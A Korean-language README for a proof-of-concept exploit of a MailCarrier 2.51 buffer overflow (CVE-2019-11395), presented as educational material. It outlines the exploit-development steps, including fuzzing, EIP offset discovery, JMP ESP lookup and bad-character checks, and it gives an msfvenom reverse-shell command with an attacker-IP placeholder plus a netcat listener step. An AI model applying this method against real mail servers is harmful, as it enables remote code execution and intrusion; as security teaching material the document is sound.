CVE-2019-11395

개요

이 PoC(Proof of Concept)는 MailCarrier 2.51의 버퍼 오버플로 취약점을 보여주며, 원격 공격자가 긴 문자열을 통해 임의 코드를 실행할 수 있도록 합니다. 이 취약점은 다음 프로세스를 이용하여 악용될 수 있습니다:

• SMTP RCPT TO
• POP3 USER
• POP3 LIST
• POP3 TOP
• POP3 RETR

이 프로젝트는 버퍼 오버플로가 어떻게 작동하는지 이해하는 데 학술적 접근 방식을 제공하는 것을 목표로 합니다.

---

⚠️ 경고

테스트를 실행하기 전에 초기 실험에 절대 프로덕션 환경을 사용하지 마십시오. 대신 프로덕션 환경과 유사한 랩 설정을 만들어 문제나 의도하지 않은 결과를 피하십시오.

---

🔧 준비

1. 취약점 발견

• 퍼징 기술을 사용하여 애플리케이션을 중단시키는 데 필요한 대략적인 바이트 수를 확인합니다.

2. 오프셋 찾기

• 크래시가 발생하면 다음을 사용합니다:
  root@kitploit:~

  msf-pattern_create -l <number_of_bytes>
  

이는 EIP를 덮어쓰는 데 필요한 정확한 바이트 수인 오프셋을 결정하는 데 도움이 됩니다.

• 다음 명령을 사용하여 오프셋을 확인합니다:
  root@kitploit:~

  msf-pattern_offset -q <bytes_on_EIP_register> -l <number_of_bytes>
  

이는 EIP를 제어하는 데 필요한 정확한 바이트 수를 식별합니다.

3. JMP 또는 CALL 명령어 찾기

• 다음을 사용하여 명령어를 찾습니다:
  root@kitploit:~

  JMP ESP
  CALL ESP
  

이 주소를 사용하여 실행 흐름을 리디렉션합니다. ASLR, SafeSEH 또는 기타 보호 메커니즘에 주의하십시오.

4. 잘못된 문자 식별

• Immunity Debugger 내의 Mona 도구를 사용하여 잘못된 문자를 확인합니다.

5. 셸코드 생성

• 잘못된 문자를 제외하고 셸코드를 생성합니다:
  root@kitploit:~

  msfvenom -p <shellcode> LHOST=<Attacker_IP> LPORT=443 -b "<badchars_list>" exitfunc=thread -f python
  

6. NOP 추가

• 안정성을 높이기 위해 페이로드에 NOP(\x90) 명령어를 삽입합니다.

7. 연결 설정

• netcat(nc)을 사용하여 리버스 셸을 생성하고 대상에 연결합니다.